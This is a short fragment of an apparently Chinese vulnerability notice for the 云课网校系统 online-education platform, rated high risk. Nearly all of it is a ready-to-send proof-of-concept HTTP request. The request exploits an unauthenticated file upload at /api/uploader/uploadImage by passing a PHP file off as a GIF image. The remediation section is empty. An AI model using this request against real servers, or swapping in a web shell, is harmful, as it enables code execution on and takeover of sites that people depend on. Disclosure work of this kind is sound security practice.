暂无
高危
云课网校系统是一个功能丰富、技术门槛低、高性价比的在线教育平台解决方案,能够满足不同用户群体的需求,提升教学和管理效率。
云课网校系统
0x05 POC
POST /api/uploader/uploadImage HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----xxxxx
x-requested-with: XMLHttpRequest
------xxxxx
Content-Disposition: form-data; name="file"; filename="phpinfo.php"
Content-Type: image/gif
phpinfo();
------xxxxx--
0x06 修复建议